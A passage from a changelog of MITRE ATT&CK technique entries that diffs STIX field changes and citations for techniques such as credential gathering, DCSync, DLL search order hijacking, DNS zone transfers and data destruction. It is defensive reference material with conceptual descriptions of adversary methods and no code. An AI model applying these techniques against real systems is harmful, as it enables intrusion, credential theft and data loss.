| | | ices](https://attack.mitre.org/techniques/T1133) or [Valid A |
| | | ccounts](https://attack.mitre.org/techniques/T1078)). |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 23:29:10.396000+00:00 | 2024-10-10 13:45:01.069000+00:00 |
| description | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)
Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Bleeping Computer 2easy 2021', 'description': 'Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/'} |
| external_references | | {'source_name': 'Bleeping Computer Stealer Logs 2023', 'description': 'Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.', 'url': 'https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/'} |
| external_references | | {'source_name': 'SecureWorks Infostealers 2023', 'description': 'SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.', 'url': 'https://www.secureworks.com/research/the-growing-threat-from-infostealers'} |
| x_mitre_contributors | | Massimo Giaimo, Würth Group Cyber Defence Center |
[T1555.003] Credentials from Password Stores: Credentials from Web Browsers
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
- M1017: User Training
- M1018: User Account Management
- M1021: Restrict Web-Based Content
- M1051: Update Software
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-02-15 19:29:57.405000+00:00 | 2024-08-15 14:13:45.294000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[T1053.003] Scheduled Task/Job: Cron
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
| x_mitre_remote_support | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-24 17:33:03.443000+00:00 | 2024-10-15 18:45:51.945000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[T1003.006] OS Credential Dumping: DCSync
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-22 20:20:14.595000+00:00 | 2024-10-15 15:54:08.312000+00:00 |
| external_references[6]['description'] | Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017. | Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024. |
| external_references[6]['url'] | http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ | https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ |
| x_mitre_version | 1.0 | 1.1 |
[T1574.001] Hijack Execution Flow: DLL Search Order Hijacking
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may execute their own malicious payloads by hija | t | Adversaries may execute their own malicious payloads by hija |
| cking the search order used to load DLLs. Windows systems us | | cking the search order used to load DLLs. Windows systems us |
| e a common method to look for required DLLs to load into a p | | e a common method to look for required DLLs to load into a p |
| rogram. (Citation: Microsoft Dynamic Link Library Search Ord | | rogram. (Citation: Microsoft Dynamic Link Library Search Ord |
| er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa | | er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa |
| ds may be for the purpose of establishing persistence as wel | | ds may be for the purpose of establishing persistence as wel |
| l as elevating privileges and/or evading restrictions on fil | | l as elevating privileges and/or evading restrictions on fil |
| e execution. There are many ways an adversary can hijack DL | | e execution. There are many ways an adversary can hijack DL |
| L loads. Adversaries may plant trojan dynamic-link library f | | L loads. Adversaries may plant trojan dynamic-link library f |
| iles (DLLs) in a directory that will be searched before the | | iles (DLLs) in a directory that will be searched before the |
| location of a legitimate library that will be requested by a | | location of a legitimate library that will be requested by a |
| program, causing Windows to load their malicious library wh | | program, causing Windows to load their malicious library wh |
| en it is called for by the victim program. Adversaries may a | | en it is called for by the victim program. Adversaries may a |
| lso perform DLL preloading, also called binary planting atta | | lso perform DLL preloading, also called binary planting atta |
| cks, (Citation: OWASP Binary Planting) by placing a maliciou | | cks, (Citation: OWASP Binary Planting) by placing a maliciou |
| s DLL with the same name as an ambiguously specified DLL in | | s DLL with the same name as an ambiguously specified DLL in |
| a location that Windows searches before the legitimate DLL. | | a location that Windows searches before the legitimate DLL. |
| Often this location is the current working directory of the | | Often this location is the current working directory of the |
| program.(Citation: FireEye fxsst June 2011) Remote DLL prelo | | program.(Citation: FireEye fxsst June 2011) Remote DLL prelo |
| ading attacks occur when a program sets its current director | | ading attacks occur when a program sets its current director |
| y to a remote location such as a Web share before loading a | | y to a remote location such as a Web share before loading a |
| DLL. (Citation: Microsoft Security Advisory 2269637) Phanto | | DLL. (Citation: Microsoft Security Advisory 2269637) Phanto |
| m DLL hijacking is a specific type of DLL search order hijac | | m DLL hijacking is a specific type of DLL search order hijac |
| king where adversaries target references to non-existent DLL | | king where adversaries target references to non-existent DLL |
| files.(Citation: Adversaries Hijack DLLs) They may be able | | files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversar |
| to load their own malicious DLL by planting it with the corr | | ies Hijack DLLs) They may be able to load their own maliciou |
| ect name in the location of the missing module. Adversaries | | s DLL by planting it with the correct name in the location o |
| may also directly modify the search order via DLL redirecti | | f the missing module. Adversaries may also directly modify |
| on, which after being enabled (in the Registry and creation | | the search order via DLL redirection, which after being enab |
| of a redirection file) may cause a program to load a differe | | led (in the Registry and creation of a redirection file) may |
| nt DLL.(Citation: Microsoft Dynamic-Link Library Redirection | | cause a program to load a different DLL.(Citation: Microsof |
| )(Citation: Microsoft Manifests)(Citation: FireEye DLL Searc | | t Dynamic-Link Library Redirection)(Citation: Microsoft Mani |
| h Order Hijacking) If a search order-vulnerable program is | | fests)(Citation: FireEye DLL Search Order Hijacking) If a s |
| configured to run at a higher privilege level, then the adve | | earch order-vulnerable program is configured to run at a hig |
| rsary-controlled DLL that is loaded will also be executed at | | her privilege level, then the adversary-controlled DLL that |
| the higher level. In this case, the technique could be used | | is loaded will also be executed at the higher level. In this |
| for privilege escalation from user to administrator or SYST | | case, the technique could be used for privilege escalation |
| EM or from administrator to SYSTEM, depending on the program | | from user to administrator or SYSTEM or from administrator t |
| . Programs that fall victim to path hijacking may appear to | | o SYSTEM, depending on the program. Programs that fall victi |
| behave normally because malicious DLLs may be configured to | | m to path hijacking may appear to behave normally because ma |
| also load the legitimate DLLs they were meant to replace. | | licious DLLs may be configured to also load the legitimate D |
| | | LLs they were meant to replace. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-28 15:51:58.945000+00:00 | 2024-09-30 17:32:59.948000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)
Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.
Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.
There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)
Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.
Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)
If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Hexacorn DLL Hijacking', 'description': 'Hexacorn. (2013, December 8). Beyond good ol’ Run key, Part 5. Retrieved August 14, 2024.', 'url': 'https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/'} |
[T1590.002] Gather Victim Network Information: DNS
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may gather information about the victim's DNS th | t | Adversaries may gather information about the victim's DNS th |
| at can be used during targeting. DNS information may include | | at can be used during targeting. DNS information may include |
| a variety of details, including registered name servers as | | a variety of details, including registered name servers as |
| well as records that outline addressing for a target’s subdo | | well as records that outline addressing for a target’s subdo |
| mains, mail servers, and other hosts. DNS, MX, TXT, and SPF | | mains, mail servers, and other hosts. DNS MX, TXT, and SPF r |
| records may also reveal the use of third party cloud and Saa | | ecords may also reveal the use of third party cloud and SaaS |
| S providers, such as Office 365, G Suite, Salesforce, or Zen | | providers, such as Office 365, G Suite, Salesforce, or Zend |
| desk.(Citation: Sean Metcalf Twitter DNS Records) Adversari | | esk.(Citation: Sean Metcalf Twitter DNS Records) Adversarie |
| es may gather this information in various ways, such as quer | | s may gather this information in various ways, such as query |
| ying or otherwise collecting details via [DNS/Passive DNS](h | | ing or otherwise collecting details via [DNS/Passive DNS](ht |
| ttps://attack.mitre.org/techniques/T1596/001). DNS informati | | tps://attack.mitre.org/techniques/T1596/001). DNS informatio |
| on may also be exposed to adversaries via online or other ac | | n may also be exposed to adversaries via online or other acc |
| cessible data sets (ex: [Search Open Technical Databases](ht | | essible data sets (ex: [Search Open Technical Databases](htt |
| tps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dum | | ps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dump |
| pster)(Citation: Circl Passive DNS) Gathering this informati | | ster)(Citation: Circl Passive DNS) Gathering this informatio |
| on may reveal opportunities for other forms of reconnaissanc | | n may reveal opportunities for other forms of reconnaissance |
| e (ex: [Search Open Technical Databases](https://attack.mitr | | (ex: [Search Open Technical Databases](https://attack.mitre |
| e.org/techniques/T1596), [Search Open Websites/Domains](http | | .org/techniques/T1596), [Search Open Websites/Domains](https |
| s://attack.mitre.org/techniques/T1593), or [Active Scanning] | | ://attack.mitre.org/techniques/T1593), or [Active Scanning]( |
| (https://attack.mitre.org/techniques/T1595)), establishing o | | https://attack.mitre.org/techniques/T1595)), establishing op |
| perational resources (ex: [Acquire Infrastructure](https://a | | erational resources (ex: [Acquire Infrastructure](https://at |
| ttack.mitre.org/techniques/T1583) or [Compromise Infrastruct | | tack.mitre.org/techniques/T1583) or [Compromise Infrastructu |
| ure](https://attack.mitre.org/techniques/T1584)), and/or ini | | re](https://attack.mitre.org/techniques/T1584)), and/or init |
| tial access (ex: [External Remote Services](https://attack.m | | ial access (ex: [External Remote Services](https://attack.mi |
| itre.org/techniques/T1133)). | | tre.org/techniques/T1133)). Adversaries may also use DNS zo |
| | | ne transfer (DNS query type AXFR) to collect all records fro |
| | | m a misconfigured DNS server.(Citation: Trails-DNS)(Citation |
| | | : DNS-CISA)(Citation: Alexa-dns) |
New Mitigations:
- M1054: Software Configuration
Dropped Mitigations:
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 14:32:48.393000+00:00 | 2024-09-12 19:36:20.374000+00:00 |
| description | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)
Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
Adversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns) |
| external_references[3]['description'] | Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022. | Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. September 12, 2024. |
| external_references[3]['url'] | https://twitter.com/PyroTek3/status/1126487227712921600/photo/1 | https://x.com/PyroTek3/status/1126487227712921600 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'DNS-CISA', 'description': 'CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.', 'url': 'https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information'} |
| external_references | | {'source_name': 'Alexa-dns', 'description': "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.", 'url': 'https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/'} |
| external_references | | {'source_name': 'Trails-DNS', 'description': "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.", 'url': 'https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds'} |
[T1485] Data Destruction
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may destroy data and files on specific systems o | t | Adversaries may destroy data and files on specific systems o |
| r in large numbers on a network to interrupt availability to | | r in large numbers on a network to interrupt availability to |
| systems, services, and network resources. Data destruction | | systems, services, and network resources. Data destruction |
| is likely to render stored data irrecoverable by forensic te | | is likely to render stored data irrecoverable by forensic te |
| chniques through overwriting files or data on local and remo | | chniques through overwriting files or data on local and remo |
| te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy |
| e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci |
| tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon |
| 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera |
| ting system file deletion commands such as <code>del</code> | | ting system file deletion commands such as <code>del</code> |
| and <code>rm</code> often only remove pointers to files with | | and <code>rm</code> often only remove pointers to files with |
| out wiping the contents of the files themselves, making the | | out wiping the contents of the files themselves, making the |
| files recoverable by proper forensic methodology. This behav | | files recoverable by proper forensic methodology. This behav |
| ior is distinct from [Disk Content Wipe](https://attack.mitr | | ior is distinct from [Disk Content Wipe](https://attack.mitr |
| e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: |
| //attack.mitre.org/techniques/T1561/002) because individual | | //attack.mitre.org/techniques/T1561/002) because individual |
| files are destroyed rather than sections of a storage disk o | | files are destroyed rather than sections of a storage disk o |
| r the disk's logical structure. Adversaries may attempt to | | r the disk's logical structure. Adversaries may attempt to |
| overwrite files and directories with randomly generated data | | overwrite files and directories with randomly generated data |
| to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 |
| 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political |
| ly oriented image files have been used to overwrite data.(Ci | | ly oriented image files have been used to overwrite data.(Ci |
| tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo |
| n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz |
| e impact on the target organization in operations where netw | | e impact on the target organization in operations where netw |
| ork-wide availability interruption is the goal, malware desi | | ork-wide availability interruption is the goal, malware desi |
| gned for destroying data may have worm-like features to prop | | gned for destroying data may have worm-like features to prop |
| agate across a network by leveraging additional techniques l | | agate across a network by leveraging additional techniques l |
| ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 |
| 78), [OS Credential Dumping](https://attack.mitre.org/techni | | 78), [OS Credential Dumping](https://attack.mitre.org/techni |
| ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m |
| itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 |
| 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto |
| Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita |
| tion: Talos Olympic Destroyer 2018). In cloud environments, | | tion: Talos Olympic Destroyer 2018). In cloud environments, |
| adversaries may leverage access to delete cloud storage, cl | | adversaries may leverage access to delete cloud storage obj |
| oud storage accounts, machine images, and other infrastructu | | ects, machine images, database instances, and other infrastr |
| re crucial to operations to damage an organization or their | | ucture crucial to operations to damage an organization or th |
| customers.(Citation: Data Destruction - Threat Post)(Citatio | | eir customers.(Citation: Data Destruction - Threat Post)(Cit |
| n: DOJ - Cisco Insider) | | ation: DOJ - Cisco Insider) |
New Mitigations:
- M1018: User Account Management
- M1032: Multi-factor Authentication
New Detections:
- DS0010: Cloud Storage (Cloud Storage Modification)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-03 17:30:32.192000+00:00 | 2024-09-25 20:46:14.641000+00:00 |
| description | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Cloud Storage: Cloud Storage Modification |
[T1530] Data from Cloud Storage
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
- DS0025: Cloud Service (Cloud Service Metadata)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-29 16:11:43.530000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
| x_mitre_platforms[2] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_data_sources | | Cloud Service: Cloud Service Metadata |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1213] Data from Information Repositories
Current version: 3.4
Version changed from: 3.3 → 3.4
|
|
|---|
| t | Adversaries may leverage information repositories to mine va | t | Adversaries may leverage information repositories to mine va |
| luable information. Information repositories are tools that | | luable information. Information repositories are tools that |
